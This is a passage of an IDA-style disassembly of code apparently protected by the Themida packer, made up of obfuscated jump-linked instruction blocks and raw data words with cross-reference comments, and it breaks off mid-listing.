		dd 2C890000h, 0C8DCE924h, 0BD550000h, 5FC0092Eh, 76BBE9h
		dd 0C38100h, 29404A04h,	241C8BDEh, 0E904C483h, 872Bh
; ---------------------------------------------------------------------------


loc_55D95C:				; CODE XREF: Themida_:00569B3Cj
		mov	[esp], eax
		push	7BC8h
		push	1063h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55F68A
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 10D3h, 495AD121h, 1F07E953h, 815E0000h
		dd 4C6h, 4BA5200h, 1000000h, 34335AD6h,	9FEEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D9A2:				; CODE XREF: Themida_:00570D5Ej
		or	edi, 42EF56F6h
		sub	edi, 0C0130F5h
		sub	edi, 0FFFFFFFFh
		push	ebp
		jmp	loc_569FF3
; ---------------------------------------------------------------------------
		db 5Dh
		dd 83599205h, 1D1FE975h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55D9C2:				; CODE XREF: Themida_:0056C881j
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56DBEA
; ---------------------------------------------------------------------------


loc_55D9D3:				; CODE XREF: Themida_:005699A7j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	ch, 5
		jmp	loc_5665CA
; ---------------------------------------------------------------------------
		dd 21E9E389h, 100001Ah,	0C875BD9h, 0E9535C24h, 107Eh, 69DBE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA06:				; CODE XREF: Themida_:0056499Cj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_562C1A
; ---------------------------------------------------------------------------
aRhRzsvp	db 'Rh',9,'<',0Dh,'RZp',0
		dw 8900h
		dd 4C181E1h, 55000000h,	4BDh, 3496E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA3E:				; CODE XREF: Themida_:0055D704j
		dec	edx
		push	ebp
		mov	ebp, 274F29DCh
		or	edx, ebp
		pop	ebp
		shr	edx, 1
		shr	edx, 3
		xor	edx, 6FCF7BBh
		jmp	loc_55DE6B
; ---------------------------------------------------------------------------
		dd 50240C89h, 4500D668h, 0EFF5E919h, 51570000h,	7D4E43B9h
		dd 6E1C13Ah, 5A8468h, 243C8900h, 635DB9BFh, 87E8E90Bh
		dd 0E0890000h, 372EE9h,	0FFC68100h, 1DBB9C1h, 24348BF0h
		dd 8304C483h, 2C8904ECh, 0F510E924h, 0B8500000h, 45905B24h
		dd 5AD4E9h, 69E94700h, 0BE000038h, 4, 628DEB81h, 0F3010F60h
		dd 628DC381h, 69E90F60h, 81000002h, 5558ABC3h, 1414E912h
		dd 1C890000h, 0BFABB24h, 0F381067Ah, 3DA2151Dh,	0E9DBF743h
		dd 0E5ABh, 5C240C87h, 255168h, 0AFFE900h, 505E0001h, 0FB9BE9h
		dd 66526600h, 882DB151h, 2C5966CAh, 0E9D0288Ch,	0E77Bh
dword_55DB14	dd 24048B66h, 369868h, 241C8900h, 0FFFEC7E9h, 0D9B652FFh
					; DATA XREF: Themida_:0055C298o
		dd 803EEE80h, 0F3287FC3h, 8B7FEB80h, 0C4832414h, 65C38004h
		dd 80DAB050h, 0C32810C3h, 2810B551h, 5859EBh, 0DAC380C3h
		dd 126DCE9h, 92E95200h,	890000B8h, 0BA52241Ch, 3DBE4687h
		dd 0EAC1D2F7h, 81DAF703h, 747D68C2h, 0F1AAE948h, 2C890000h
		dd 71356824h, 0EC830000h, 24248904h, 4240481h, 8F000000h
		dd 14E92404h, 5E0000F4h, 12091E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DB99:				; CODE XREF: Themida_:0056DF91j
		sub	eax, 569439A3h
		shr	eax, 8
		jmp	loc_55CF2B
; ---------------------------------------------------------------------------


loc_55DBA6:				; CODE XREF: Themida_:0056FB5Aj
		pop	ebp
		push	esi
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 345E10EBh
		push	edi
		mov	edi, 2B6234CFh
		add	edi, 402F5017h
		dec	edi
		add	edi, 787C6244h
		add	edi, 320A2AC8h
		jmp	loc_56E666
; ---------------------------------------------------------------------------
		dw 0DBF7h
		dd 0FD67E94Bh, 0E580FFFFh, 62ED809Dh, 0D7E9C5FEh, 8100003Bh
		dd 556B98EBh, 50555751h, 1156A6B8h, 0E74CBD1Dh,	0BFE95D28h
		dd 59FFFFF6h, 0A5E9DF89h, 2900009Ch, 24048BC2h,	11FDE9h
		dd 2C58100h, 81000000h,	4ECh, 242C8900h, 42474FFh, 83242C8Bh
		dd 48F04C4h, 61E95C24h,	80000105h, 0E1C0DAF1h, 0FCC98003h
		dd 40E95250h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DC4B:				; CODE XREF: Themida_:0057088Fj
		sub	ebp, 705C5FC7h
		jmp	loc_55C7C2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5229E9h, 8FF18000h, 0B159CC88h, 58E1305Bh, 3DE9CB00h
		dd 5500000Ch, 4BDh, 5DE82900h, 5C240487h, 0BD242C89h, 4
		dd 2C8BEB89h, 4C48124h,	81000000h, 762762C2h, 81DA0109h
		dd 762762EAh, 0C2835B09h, 24148704h, 5024248Bh,	0ED80E1B0h
		dd 3FF6E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DCB6:				; CODE XREF: Themida_:00567985j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56BEA6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 242C8700h, 240CD35Ch, 0E651E99Ch, 0E980FFFFh
		dd 28B404EDh, 324DE9C8h, 0C7010001h, 5A3FEF81h,	0C78139B6h
		dd 0B3038C9h, 35E95258h
		db 0E8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DCF3:				; CODE XREF: Themida_:0055CA22j
		push	88C3278h
		jmp	loc_5612FF
; ---------------------------------------------------------------------------


loc_55DCFD:				; CODE XREF: Themida_:0055C39Fj
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_561F8B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 42AE68h, 24048900h, 4EC81h, 24890000h, 0C33CE924h
		dd 0E95D0000h, 0AE7Fh, 241C875Eh, 0AEEEE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DD3E:				; CODE XREF: Themida_:00565D9Dj
		pop	esi
		xor	ecx, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_56D5BB
; ---------------------------------------------------------------------------


loc_55DD4A:				; CODE XREF: Themida_:00561A20j
		pop	ebp
		jmp	loc_561665
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 277BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DD5E:				; CODE XREF: Themida_:0056CF82j
		not	dword ptr [esp]
		pop	edi
		add	edi, 9221BBA5h
		xor	esi, edi
		jmp	loc_561E45
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0B5E92434h, 5D000134h, 2C89E952h, 4680001h, 0E9000000h
		dd 7CE4h, 0E9243487h, 0A413h, 0BE243489h, 3CE85590h, 7F81CE81h
		dd 10E920F5h, 31FFFFF7h, 0E99C2404h, 0FFFFE577h, 0C281E289h
		dd 4, 5683E955h, 0C7810000h, 4791317Dh,	58E4BE56h, 0F68139B6h
		dd 910FA0h, 0A3E9F729h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55DDD3:				; CODE XREF: Themida_:005652AEj
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_570B52
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 0C280000h, 240C8A24h, 0E904C483h, 398Eh
; ---------------------------------------------------------------------------


loc_55DDF0:				; CODE XREF: Themida_:00567D86j
		mov	[esp], edx
		jmp	loc_55C4E2
; ---------------------------------------------------------------------------


loc_55DDF8:				; CODE XREF: Themida_:0056B751j
		sub	edi, ecx
		add	edi, 70623180h
		pop	ecx
		add	eax, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56535B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 73FD6804h, 34890000h, 106DBE24h, 0BF57341Eh,	0FFFFFFFFh
		dd 815FFE29h, 760095F6h, 7EEC15Ah, 2453E9h, 4EC8100h, 0E9000000h
		dd 10F5Ch, 5503E8C1h, 1964D9BDh, 0EBCD8105h, 811CE028h
		dd 0DBF577F5h, 5DE8012Eh, 0E958C229h, 0EA5Ch, 148BD031h
		dd 0F7E95324h
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE6B:				; CODE XREF: Themida_:0055DA53j
		add	edi, edx
		jmp	loc_563B43
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 53E68956h, 1E6CE9h, 0E3895300h, 4C381h, 0C3830000h
		dd 241C3304h, 12CC6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DE95:				; CODE XREF: Themida_:0056F9F7j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5610CC
; ---------------------------------------------------------------------------


loc_55DEA7:				; CODE XREF: Themida_:0056E3B6j
		sub	esi, 414D5B39h
		jmp	loc_55FCA4
; ---------------------------------------------------------------------------


loc_55DEB2:				; CODE XREF: Themida_:0056CA24j
		mov	si, [esp]
		add	esp, 2
		pop	small word ptr [esp]
		mov	bx, [esp]
		add	esp, 2
		push	small 170Bh
		mov	[esp], bx
		push	small word ptr [esp+2]
		jmp	loc_570AE6
; ---------------------------------------------------------------------------
		dw 4B04h
		dd 0C630A504h, 28A40458h, 0CFD9E9F0h, 1C8B0000h, 4C48124h
		dd 0E9000000h, 0D587h, 3C6B951h, 0E1C14C32h, 9BF18104h
		dd 8116190Ch, 0D016ABF1h, 0E9CF01C2h, 0C3D8h
; ---------------------------------------------------------------------------


loc_55DF10:				; CODE XREF: Themida_:00564B9Fj
		add	bl, 0A4h
		sub	bl, dl
		sub	bl, 0A4h
		jmp	loc_56B551
; ---------------------------------------------------------------------------
		db 66h,	89h, 1Ch
aRISua		db '$R(U',0
		db 0
byte_55DF2B	db 0ACh			; DATA XREF: Themida_:0055C0C8o
		dd 6602EC83h, 52241489h, 8893E9h, 24048B00h, 889BE956h
		dd 0F0890000h, 22FFE95Eh, 0BF570001h, 4, 7D4AE981h, 0F90104DCh
		dd 7D4AC181h, 875F04DCh, 248B240Ch, 5A545224h, 81E68956h
		dd 4C6h, 4EE8300h, 8CFAE9h
		db 0
byte_55DF79	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055C07Co
		dd 8AAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DF81:				; CODE XREF: Themida_:0056C3B6j
		mov	edx, [esp]
		add	esp, 4


loc_55DF8A:				; CODE XREF: Themida_:005628C4j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56092F
; ---------------------------------------------------------------------------


loc_55DF98:				; CODE XREF: Themida_:0055CA89j
		mov	esi, 48335FA7h
		xor	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	ebp, 782827E4h
		jmp	loc_568371
; ---------------------------------------------------------------------------


loc_55DFB3:				; CODE XREF: Themida_:0056705Aj
		push	edx
		mov	dh, 24h
		sub	al, dh
		pop	edx
		push	edx
		mov	dh, 0E7h
		dec	dh
		sub	dh, 37h
		xor	al, dh
		mov	edx, [esp]
		add	esp, 4
		add	al, 0Ah
		xor	dh, al
		jmp	loc_569C7E
; ---------------------------------------------------------------------------


loc_55DFD5:				; CODE XREF: Themida_:00567355j
		push	dword ptr [edx+38h]
		not	dword ptr [esp]
		jmp	loc_563A0C
; ---------------------------------------------------------------------------
aUvMbsn		db 'UV',7,'MbN',0
		align 4


loc_55DFEC:				; CODE XREF: Themida_:005703C2j
		xor	dword ptr [esp], 7E5B41E2h
		pop	esi
		xor	esi, 7E5B41E2h
		push	dword ptr [esp]
		pop	edi
		jmp	loc_570BDB
; ---------------------------------------------------------------------------
		db 56h
		dd 1C0DE950h, 8F5A0001h, 248B2404h, 0C24AE924h,	0C4810000h
		dd 4, 0C281EAD1h, 0E6DA4B2Ch, 4917E9h
		db 0
byte_55E029	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055C204o
		dd 0E92434FFh, 9A78h, 0E9243C89h, 73FCh, 8F0A6325h, 8022D72h
		dd 0C101628Bh, 4EC8158h, 89000000h, 0D9BD242Ch,	0E97D6A4Dh
		dd 0D217h
dword_55E05C	dd 240C8B66h, 607C68h, 241C8900h, 6768h, 48F5400h, 4B85024h
					; DATA XREF: Themida_:0055C2A4o
		dd 1000000h, 58042444h,	0CA6FE9h, 0E9525800h, 2EE3h
; ---------------------------------------------------------------------------


loc_55E088:				; CODE XREF: Themida_:00562100j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5649D8
; ---------------------------------------------------------------------------


loc_55E0A8:				; CODE XREF: Themida_:0056766Aj
		push	esp
		pop	dword ptr [esp]
		jmp	loc_56CD3D
; ---------------------------------------------------------------------------
		db 58h,	29h, 0E8h
		dd 5C8015Dh, 294A0EE3h,	6EDAE9h, 505B5B00h, 49E9E889h
		dd 0B90000EEh, 77A06A7Ch, 3647F181h, 0F1810222h, 3D9521D7h
		dd 62F8E949h, 4BA0000h,	1000000h, 5A042454h, 81242C8Bh
		dd 4C4h, 30716800h, 1C890000h, 0B71BB24h, 814307DEh, 0D9097EC3h
		dd 0FFC38178h, 81FFFFFFh, 7E5407CBh, 0CFF38178h, 8151F860h
		dd 7341CEBh, 8BC581A9h,	14A451Bh, 8BED81DDh, 8B4A451Bh
		dd 0C481241Ch, 4, 0FFFADCE9h, 8E8C1FFh,	0A72DA135h, 6CFC3518h
		dd 0E0C12174h, 1CEFE905h, 0F7010001h, 5F21C781h, 34FF137Bh
		dd 89515E24h, 4C181E1h,	83000000h, 0C8704E9h, 4895C24h
		dd 5E08924h, 4,	6804C083h, 1A66h, 0FF240489h, 0E9042474h
		dd 887h, 6188C681h, 4BE96287h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E197:				; CODE XREF: Themida_:00566ACEj
		mov	esi, edi
		pop	edi
		mov	edi, 0C5A4680Fh
		sub	edi, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 23046962h
		sub	edi, ecx
		jmp	loc_5701F8
; ---------------------------------------------------------------------------
		db 0B4h, 11h, 68h
		dd 4CBCh, 0B7241C89h, 0BFF780D0h, 805BFA88h, 0E228EAEAh
		dd 330068h, 24048900h, 0E48020B4h, 0BCEC80E1h, 20E8B151h
		dd 0D2E959CCh, 51FFFFF5h, 47E9E189h, 8B0000AAh,	0C4832414h
		dd 2AC28104h, 5B3A5652h, 4175E281h, 0E2D1203Bh,	8241EA81h
		dd 0D6014064h, 8324148Bh, 0E6C104C4h, 0B011E904h, 0BE560000h
		dd 3A0507E8h, 81FFC683h, 0BBBEC3EEh, 8BF509F7h,	0C4812434h
		dd 4, 0AF23C581h, 7CE93745h, 0FF000106h, 0E95D2434h, 0D4AFh
		dd 241C8B54h, 4C481h, 0EC810000h, 4, 80C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E269:				; CODE XREF: Themida_:00568FBAj
		push	3BFh
		mov	[esp], ecx
		jmp	loc_55E826
; ---------------------------------------------------------------------------
aShan_s@	db '^Shn`.@',0
		align 2
aFSsG		db 'f[Sϣ',0
		align 2
		dw 0B951h
		dd 9577EE4Dh, 3159CA31h, 0F3815AD3h, 82A3049h, 1EADED81h
		dd 0DD01267Dh, 1EADC581h, 505B267Dh, 0A380E956h, 0E9520000h
		dd 10A2Dh, 2CEAC680h, 4F00001h,	68665A01h, 896647E9h, 1AB62414h
		dd 20B55166h, 5966EE30h, 19466866h, 240C8966h, 0B353FFB5h
		dd 30E951A1h
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E2E7:				; CODE XREF: Themida_:0055C6A1j
		add	eax, 4
		jmp	loc_55EF20
; ---------------------------------------------------------------------------


loc_55E2EF:				; CODE XREF: Themida_:0056325Fj
		mov	ecx, esp
		jmp	loc_56DBF9
; ---------------------------------------------------------------------------
aXmqCdYss0	db 'XMQD',8,'!YS#0',0
		db 0
; ---------------------------------------------------------------------------


loc_55E307:				; CODE XREF: Themida_:00567AA7j
		add	edi, 0FFDDF9F8h
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_56D2AC
; ---------------------------------------------------------------------------
aIH		db ',$h(',0
		align 2
aI4Hnc		db '4$hNC',0
		align 2
		dw 1C89h
		dd 16824h, 95E90000h, 8B000131h, 48F2424h, 25A4E924h, 0C3300000h
		dd 2E4468h, 24148900h, 75F5E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E356:				; CODE XREF: Themida_:00565F5Fj
		add	ebp, ecx
		pop	ecx
		jmp	loc_56378C
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 3C57E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E369:				; CODE XREF: Themida_:0056C245j
		pop	edx
		dec	esi
		xor	esi, 8C4A31B8h
		xor	edi, esi
		pop	esi
		jmp	loc_569DF4
; ---------------------------------------------------------------------------


loc_55E379:				; CODE XREF: Themida_:00565999j
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 7DA66D3Bh, 0D6FEE9h,	0FFFA8800h, 835B2434h, 0EF8004C4h
		dd 0E9D7288Fh, 339h, 0D0285B59h, 0D8285A66h, 808BB652h
		dd 0E951FFEEh, 130C6h, 740CBD55h, 0E8292CB9h, 7368525Dh
		dd 0E9000070h, 3E6Ch, 2C04C483h, 6BB36853h, 1C890000h
		dd 5273B324h, 81E68956h, 4C6h, 4EE8300h, 8B243487h, 4892424h
		dd 0B282B424h, 3F27E912h, 55590000h, 2F2680BDh,	5DE9011Dh
		dd 5356F929h, 14410CBBh, 2E3C126h, 22B0F381h, 0DE89857Eh
		dd 81241C8Bh, 4C4h, 71E98100h, 0E9416828h, 1F7Ah, 0E9241C89h
		dd 7207h
; ---------------------------------------------------------------------------


loc_55E434:				; CODE XREF: Themida_:0057070Bj
		pop	esi
		add	edi, 0C587E3ADh
		mov	eax, edi
		pop	edi
		sub	eax, 339A510Bh
		add	eax, edi
		add	eax, 339A510Bh
		push	edx
		push	0
		mov	edx, [esp]
		push	ebx
		jmp	loc_55FA97
; ---------------------------------------------------------------------------
aQs		db 'Q ',1Bh,0
		dw 8700h
		dd 248B241Ch, 0E1E95324h, 8100002Bh, 6EAB7EC2h,	0E9D58963h
		dd 1097Bh, 805BE180h, 0D1F626F1h, 2838C180h, 0E60059CCh
		dd 99EE8058h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5613B8
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2474FF24h, 951E904h,	815F0000h, 582485EFh, 41C78154h
		dd 15E0C0Fh, 41EF81C7h,	565E0C0Fh, 582485BEh, 0BABA5254h
		dd 8165EC7Ah, 20829CAh,	5AC2816Dh, 81D00DF0h, 0FE12B0EFh
		dd 81D70150h, 0FE12B0C7h, 0F7015A50h, 9FE8E9h, 0E9504300h
		dd 915Ah, 1B9F68h, 243C8900h, 3128DD68h, 129E921h, 0C1810001h
		dd 1D637204h, 0E981F129h, 1D637204h, 3AE6E9h, 242C8900h
		dd 1669BA52h, 0EAD17373h, 0C103EAC1h, 34E906E2h, 83FFFFFFh
		dd 4C0104C4h, 0BDE90424h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E543:				; CODE XREF: Themida_:00560DB1j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 2
		neg	ah
		and	ah, 0E0h
		sub	ah, 9Ah
		jmp	loc_56503F
; ---------------------------------------------------------------------------


loc_55E558:				; CODE XREF: Themida_:00570F60j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 197A0704h
		shl	ecx, 6
		add	ecx, 0C1984918h
		or	ebx, ecx
		pop	ecx
		xor	ebx, 26FF131Eh
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5713FA
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_567038
; ---------------------------------------------------------------------------
		db 1
		dd 0FD895DEFh, 0ECCBE9h, 0ED805900h, 80E50004h,	586604C5h
		dd 17CEE9h, 587FB800h, 5483073h, 39B81C7Fh, 4C35D8F7h
		dd 5279AB35h, 0EC5C83BAh, 5E2DE979h, 0EAD10000h, 1EE9D2F7h
		dd 51000043h, 0F6D1B252h, 35EA80D2h, 0C0B1C280h, 0EA8006E2h
		dd 0E9D58891h, 0F76h, 186C7BBAh, 0E9D3295Ah, 0D19h, 4C381h
		dd 52570000h, 992F6DBAh, 5A5F520Eh, 125BB850h, 0C729555Fh
		dd 22BA5258h, 8337C150h, 8FE9FFC2h, 560000F3h, 4BEh, 0E9F00100h
		dd 11DACh, 5E9EB29h, 0BD000039h, 0FFFFFFFFh, 0CE45E9h
		dd 3BB6800h, 0C890000h,	0C3CEE924h, 1580000h, 0EE09E9C3h
		dd 8143FFFFh, 47CCB9F3h, 951DE9D5h, 0BA520000h,	2CF7138Dh
		dd 0FFE204E9h, 5DE829FFh, 0FFFAC8E9h, 4F6853FFh, 8900005Ch
		dd 0C5E9240Ch
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E683:				; CODE XREF: Themida_:00569641j
		add	esp, 4
		add	ecx, eax
		jmp	loc_56C5A4
; ---------------------------------------------------------------------------


loc_55E690:				; CODE XREF: Themida_:0056513Cj
		pop	edx
		add	esp, 4
		pop	ebp
		shl	eax, cl
		push	ecx
		push	edx
		push	edi
		mov	edi, 2D7F020Ch
		push	edi
		push	18C70405h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_566C03
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0BCE95302h, 8100009Ah, 7DF960F6h, 0FFF08918h, 835E2434h
		dd 90E904C4h, 0BF000010h, 52EF4E54h, 119C7E9h, 8FC78000h
		dd 0CF805A66h, 353688Dh, 58E90000h, 59000110h, 8514E955h
		dd 248B0000h, 48B6624h,	0E7895724h, 4EC81h, 34890000h
		dd 4BE24h, 0F7010000h, 52FB685Eh, 34890000h, 0F1685324h
		dd 89000058h, 4BB9240Ch, 0E9432B11h, 10E9Bh, 7C6C0A2Dh
		dd 2C6E936h, 3C8B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_562164
; ---------------------------------------------------------------------------
byte_55E741	db 68h,	48h, 10h	; DATA XREF: Themida_:0055C094o
		dd 1C890000h, 2F6FE924h, 35660000h, 81663E14h, 66257DEBh
		dd 8166C329h, 0E9257DC3h, 575Bh, 8704EF83h, 895C243Ch
		dd 4BF243Ch, 1000000h, 8B04247Ch, 0C483243Ch, 0C6815E04h
		dd 4, 0CB685350h, 5B37904Ah, 0C381E3D1h, 0E887B48Bh, 315BD889h
		dd 830BE9E8h, 285B0000h, 0FF5A66D0h, 148B2434h,	4C48324h
		dd 0F5FAE952h, 1487FFFFh, 89665C24h, 64E92404h,	0B9FFFFDBh
		dd 5E2A039Bh, 4039BB53h, 0E9817582h, 4D0C2AF2h,	0C181D929h
		dd 4D0C2AF2h, 86FDE9h, 24143300h, 0E924248Bh, 0F430h, 0D328B5B2h
		dd 59C3805Ah, 0FFEED6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E7F5:				; CODE XREF: Themida_:00563FE8j
		mov	[esp], ebx
		sub	dword ptr [esp], 22D5DF8h
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5695EB
; ---------------------------------------------------------------------------
		dd 3038C9BDh, 0E9F6E90Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E812:				; CODE XREF: Themida_:0055CDE1j
		push	ebp
		push	ebx
		mov	ebx, 1CB17C80h
		jmp	loc_55D480
; ---------------------------------------------------------------------------


loc_55E81E:				; CODE XREF: Themida_:0056D45Fj
		mov	[esp], esi
		jmp	loc_565D50
; ---------------------------------------------------------------------------


loc_55E826:				; CODE XREF: Themida_:0055E271j
		mov	cl, 47h
		push	eax
		mov	al, cl
		mov	bl, al
		pop	eax
		jmp	loc_56C6E1
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6AB855FDh, 15EF331h,	0E95E5BD8h, 0FFFFDADFh
; ---------------------------------------------------------------------------


loc_55E844:				; CODE XREF: Themida_:00568475j
		add	esp, 4
		jmp	loc_560DF0
; ---------------------------------------------------------------------------
		dd 1ED81h, 0D5F70000h, 15B68h, 86B6E900h, 4890000h, 34696824h
		dd 35587667h, 5568779Ch, 0CB3DE9h, 7BEB8100h, 0E95C2B15h
		dd 0E8ABh, 3618C581h, 0ED8173BBh, 3F170FFBh, 5A2434FFh
		dd 6804C483h, 3683h, 0FF242C89h, 0E9042474h, 0FD84h, 8101EA83h
		dd 9A42CCF2h, 0E9D32115h, 3552h, 0EA4AE959h, 5653FFFFh
		dd 0FFF162E9h, 40F281FFh, 9555452h, 0CE815AD6h,	32307322h
		dd 2E5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E8D1:				; CODE XREF: Themida_:005674DAj
		xchg	ebx, [esp]
		pop	esp
		pop	small word ptr [esp]
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		dw 0F75Bh
		dd 78CA81D2h, 4A038B02h, 0D2F7D2F7h, 7505F281h,	0D5890000h
		dd 8124148Bh, 4C4h, 1C6F2100h, 9A14E9h,	5D0F700h, 34352377h
		dd 0BB83D805h, 0E9C38917h, 95Dh
; ---------------------------------------------------------------------------


loc_55E918:				; CODE XREF: Themida_:0056FEB9j
		mov	edi, 0A8ACE500h
		jmp	loc_5632DC
; ---------------------------------------------------------------------------
word_55E922	dw 77FFh		; DATA XREF: Themida_:0055C084o
		dd 58669D1Ch, 24041166h, 0D9F1E99Ch, 0FF68FFFFh, 89000053h
		dd 4CE9242Ch, 0C1000115h, 86E903E3h, 290000FDh,	0F7015BDEh
		dd 0E924348Bh, 0A788h, 51664FB7h, 0DD91E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E95E:				; CODE XREF: Themida_:00562863j
		push	eax
		mov	al, bh
		jmp	loc_56228B
; ---------------------------------------------------------------------------
aHg1		db '[h1',0
		align 4
		dd 164AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E971:				; CODE XREF: Themida_:005680A8j
		push	ebx
		push	4
		pop	ebx
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564860
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0C6h
		dd 8324048Bh, 0C68104C4h, 4, 2474FF56h,	24348B04h, 4C481h
		dd 0CCE90000h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E9A7:				; CODE XREF: Themida_:00564884j
		pop	esi
		xor	esi, 2B63274Fh
		shr	esi, 5
		neg	esi
		xor	esi, 0D1A87BAEh
		push	esi
		sub	dword ptr [esp], 2B83C85h
		pop	eax
		add	eax, 2B83C85h
		pop	esi
		shr	eax, 2
		push	eax
		not	dword ptr [esp]
		pop	eax
		add	eax, 1
		sub	eax, 52A32122h
		add	eax, 0FFFFFFFFh
		add	eax, 1A13B7DAh
		xor	ebp, eax
		pop	eax
		push	ebp
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55D011
; ---------------------------------------------------------------------------
		dd 5C240487h, 0E902B151h, 0FFFFF3E1h, 0F2E2A25h, 6B950522h
		dd 83352C98h, 292608AAh, 76E958C1h, 58000086h, 8DF5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EA19:				; CODE XREF: Themida_:00565294j
		mov	[esp], edi
		push	3FB1h
		jmp	loc_561217
; ---------------------------------------------------------------------------


loc_55EA26:				; CODE XREF: Themida_:0056FE01j
		shl	edx, 1
		push	346Fh
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_56EF76
; ---------------------------------------------------------------------------
aIQts3q		db ',$QT3',0
		dd 0BBB75300h, 0E95FC780h, 3867h
dword_55EA68	dd 0E932FF64h, 0FFFFD8B3h, 815BD989h, 0E326C6C1h, 0FD59E905h
					; DATA XREF: Themida_:0055C1D4o
		dd 0E3890000h, 23C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EA85:				; CODE XREF: Themida_:0056BF1Fj
		mov	[esp], ecx
		mov	ecx, 3D512319h
		shl	ecx, 7
		xor	ecx, 5A805345h
		push	edx
		mov	edx, 0DC26F282h
		xor	ecx, edx
		jmp	loc_56B74A
; ---------------------------------------------------------------------------


loc_55EAA3:				; CODE XREF: Themida_:00564FB8j
		or	edx, eax
		shl	edx, 1
		push	edx
		push	edi
		push	76D53685h
		jmp	loc_55C813
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 52000000h,	4BAh, 8BD00100h, 60E92414h, 57000081h
